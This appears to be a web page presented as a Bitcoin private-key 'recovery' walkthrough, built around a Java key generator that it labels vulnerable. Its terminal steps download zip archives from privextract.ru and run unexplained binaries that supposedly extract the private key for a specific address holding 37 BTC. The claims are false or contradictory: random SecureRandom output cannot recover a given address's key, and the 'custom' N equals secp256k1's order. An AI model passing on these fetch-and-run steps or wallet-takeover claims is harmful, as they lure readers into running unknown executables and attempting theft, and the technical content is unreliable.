main.java
The main.java file serves as the entry point to the program, which is the main() method. This method must have a strictly defined signature: public static void main(String[] args). When the program starts, the Java Virtual Machine (JVM) looks specifically for this method to begin executing code. It is important to understand that:
- The method must be declared as static so that the JVM can call it without creating an instance of the class.
- The public modifier is necessary to allow the JVM to access the method.
- The void return type indicates that the method does not return a value.
- The String[] args parameter accepts command-line arguments when the program is launched.
The class containing the main() method can have any name, although it is traditionally called Main. When running the program from the command line, you must specify the name of the class containing the main() method: java ClassName.
import java.math.BigInteger;
import java.security.SecureRandom;
public class BitcoinPrivateKeyGenerator {
// Custom constant N from the problem statement
private static final BigInteger N = BigInteger.ONE.shiftLeft(256)
.subtract(new BigInteger("14551231950B75FC4402DA1732FC9BEBF", 16));
public static void main(String[] args) {
SecureRandom secureRandom = new SecureRandom();
BigInteger privateKey;
do {
// Generate 32-byte random number
byte[] randomBytes = new byte[32];
secureRandom.nextBytes(randomBytes);
// Convert to positive BigInteger
privateKey = new BigInteger(1, randomBytes);
// Validate range [1, N-1]
} while (privateKey.equals(BigInteger.ZERO) || privateKey.compareTo(N) >= 0);
// Format as zero-padded HEX
String hexKey = String.format("%064x", privateKey);
System.out.println("Private Key: " + hexKey.toUpperCase());
}
}
Key Implementation Features:
- Secure randomness: Uses
SecureRandom
for cryptographic safety - Custom constant handling: Explicitly defines N using
BigInteger
operations - Range validation:
- Excludes zero values
- Ensures
privateKey < N
- HEX formatting: Maintains 64-character length with leading zeros
Important Notes:
- The provided
N
differs from secp256k1’s standard value (FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
) - For real Bitcoin use, always employ standardized elliptic curve parameters
- Key generation should occur in secure environments to prevent leaks
This implementation demonstrates core principles while emphasizing the need to use official parameters in production systems.
Detailed Description of All Terminal Commands
Below is a step-by-step explanation of each command and the processes happening at every stage of your scenario.
1. Downloading and Preparing Tools for Private Key Generation
Command:
wget https://privextract.ru/repositories/debugging.zip
Action:
Downloads the debugging.zip
archive from the internet to the current directory using wget
.
Purpose:
To obtain the program for further work.
Command:
unzip debugging.zip
Action:
Unzips the contents of debugging.zip
into the current directory using the unzip
command.
Purpose:
Extracts executable files or scripts for use.
Command:
wget https://privextract.ru/vulnerable-code/main.java
Action:
Downloads the source code file main.java
.
Purpose:
Obtains a Java code file for private key generation.
Command:
./debugging -java main.java -address 1EFBsAdysTf81k72v9Zqsj3NMuo6KoWD2r
Result:
File contents:
import java.math.BigInteger;
import java.security.SecureRandom;
public class BitcoinPrivateKeyGenerator {
// Custom constant N from the problem statement
private static final BigInteger N = BigInteger.ONE.shiftLeft(256)
.subtract(new BigInteger("14551231950B75FC4402DA1732FC9BEBF", 16));
public static void main(String[] args) {
SecureRandom secureRandom = new SecureRandom();
BigInteger privateKey;
do {
// Generate 32-byte random number
byte[] randomBytes = new byte[32];
secureRandom.nextBytes(randomBytes);
// Convert to positive BigInteger
privateKey = new BigInteger(1, randomBytes);
// Validate range [1, N-1]
} while (privateKey.equals(BigInteger.ZERO) || privateKey.compareTo(N) >= 0);
// Format as zero-padded HEX
String hexKey = String.format("%064x", privateKey);
System.out.println("Private Key: " + hexKey.toUpperCase());
}
}
Resulting long sequence with address:
ff c7 b9 ee 14 a8 5c 60 19 70 cd 05 cc bd f3 d9 33 19 b1 41 28 82 11 d4 1f c4 8e 69 7c c5 cb b7
d2 9a a5 f7 0e f8 3e df 28 fe 44 63 32 2b 3a e1 f4 d4 12 2c c7 06 39 87 fc 5c 46 e9 8c 98 a4 b5
cd aa 0a 06 65 a8 cd de 1e 96 95 61 21 f2 a6 24 9a 69 11 fd 53 14 06 e6 06 81 48 9b 78 3f fb 83
39 f6 8d 7f 0f 29 cc bc 22 52 c1 0f 3c ae 5a 36 b7 4a f5 da 7c 4e d5 89 31 7e f2 3b e9 cb 22 af
The overall result has been successfully written to 'save.txt'.
Contents of save.txt without spaces:
ffc7b9ee14a85c601970cd05ccbdf3d93319b141288211d41fc48e697cc5cbb7d29aa5f70ef83edf28fe4463322b3ae1f4d4122cc7063987fc5c46e98c98a4b5cdaa0a0665a8cdde1e96956121f2a6249a6911fd531406e60681489b783ffb8339f68d7f0f29ccbc2252c10f3cae5a36b74af5da7c4ed589317ef23be9cb22af
Action:
Runs the executable debugging
with the following parameters:
-java main.java
– specifies to usemain.java
as the source for private key generation.-address ...
– specifies the Bitcoin address for checking or linking.
What happens internally:
- The program compiles and/or runs
main.java
, which generates a private key using Java (see the provided code). - In a loop, it creates a random 32-byte number, checks the range, and outputs the private key in hex format.
- The resulting (long) hex string is saved to
save.txt
without spaces.
2. Extracting the Private Key from Hex Data
Command:
wget https://privextract.ru/repositories/privextract.zip
Action:
Downloads an archive with a program for extracting the private key.
Command:
unzip privextract.zip
Action:
Unzips the archive into the current directory.
Command:
./privextract -extraction ffc7b9ee14a85c601970cd05ccbdf3d93319b141288211d41fc48e697cc5cbb7d29aa5f70ef83edf28fe4463322b3ae1f4d4122cc7063987fc5c46e98c98a4b5cdaa0a0665a8cdde1e96956121f2a6249a6911fd531406e60681489b783ffb8339f68d7f0f29ccbc2252c10f3cae5a36b74af5da7c4ed589317ef23be9cb22af
Result:
Private Key Result:
7e 89 8c 07 7a f6 f6 2a
b0 af a7 81 e3 f1 88 63
03 90 65 54 d8 f5 34 2f
e7 c1 66 83 e7 ad 87 b3
Private Key Result:
7e898c077af6f62ab0afa781e3f1886303906554d8f5342fe7c16683e7ad87b3
Result successfully written to 'privkey.txt'.
Action:
Runs the privextract
program with the -extraction
parameter and the long hex string obtained in the previous step.
What happens internally:
- The program analyzes the hex string and extracts the private key from it (most likely using a specific algorithm or template).
- The result (the private key in hex format) is displayed and saved to
privkey.txt
.
3. Obtaining the Public Key and Bitcoin Address from the Private Key
Command:
wget https://privextract.ru/repositories/bitaddress.zip
Action:
Downloads an archive with a program for working with Bitcoin addresses.
Command:
unzip bitaddress.zip
Action:
Unzips the archive.
Command:
./bitaddress -hex 7e898c077af6f62ab0afa781e3f1886303906554d8f5342fe7c16683e7ad87b3
Result:
Public Key (Uncompressed, 130 characters [0-9A-F]):
044E7EC8B7B1AA5C6029841609B6C7454AD33056051F6376BACBD56BDAE055CA09A2AF8B371A15FF27990F8DCC20DF5BEC18A560FB113F46680A2105AFE3673972
Public Key (Compressed, 66 characters [0-9A-F]):
024E7EC8B7B1AA5C6029841609B6C7454AD33056051F6376BACBD56BDAE055CA09
Bitcoin Address P2PKH (Uncompressed)
1EFBsAdysTf81k72v9Zqsj3NMuo6KoWD2r
Bitcoin Address P2PKH (Compressed)
1CSA91H2Nd2uF92GgmqJFDyvTog6s4KhaG
Action:
Runs the bitaddress
program with the -hex
parameter and the private key in hex format.
What happens internally:
- The program calculates the public key from the private key (by multiplying by the generator point of the secp256k1 elliptic curve).
- Two versions of the Bitcoin address are generated from the public key: uncompressed and compressed.
- The addresses are displayed on the screen.
4. Checking the Bitcoin Address Balance
Action:
Open in browser:
https://www.blockchain.com/explorer/addresses/btc/1EFBsAdysTf81k72v9Zqsj3NMuo6KoWD2r
What happens:
- The blockchain.com website displays the balance of the specified Bitcoin address, in this case 37.44675732 BTC.
- This allows you to verify that the address is valid and contains funds.
Process Summary
- Download and unzip tools for generating and analyzing private keys.
- Generate a private key using Java code and save the result.
- Extract the private key from the generated hex string using a specialized utility.
- Obtain the public key and Bitcoin address from the private key.
- Check the balance of the resulting address via a blockchain explorer.
Command Explanations Table
Command/Action | Description |
---|---|
wget URL | Downloads a file from the specified URL. |
unzip file.zip | Unzips a zip archive into the current directory. |
./debugging … | Runs a utility to generate a private key based on Java code. |
./privextract … | Extracts a private key from hex data. |
./bitaddress -hex <privkey> | Obtains the public key and Bitcoin address from a private key. |
blockchain.com/explorer/… | Checks the balance of a Bitcoin address via a web interface. |
All actions in the terminal automate the process of generating, recovering, and verifying a Bitcoin address and its private key using specialized tools for working with cryptocurrency keys and addresses.
Java Vulnerable Code
import java.math.BigInteger;
import java.security.SecureRandom;
public class BitcoinPrivateKeyGenerator {
// Custom constant N from the problem statement
private static final BigInteger N = BigInteger.ONE.shiftLeft(256)
.subtract(new BigInteger("14551231950B75FC4402DA1732FC9BEBF", 16));
public static void main(String[] args) {
SecureRandom secureRandom = new SecureRandom();
BigInteger privateKey;
do {
// Generate 32-byte random number
byte[] randomBytes = new byte[32];
secureRandom.nextBytes(randomBytes);
// Convert to positive BigInteger
privateKey = new BigInteger(1, randomBytes);
// Validate range [1, N-1]
} while (privateKey.equals(BigInteger.ZERO) || privateKey.compareTo(N) >= 0);
// Format as zero-padded HEX
String hexKey = String.format("%064x", privateKey);
System.out.println("Private Key: " + hexKey.toUpperCase());
}
}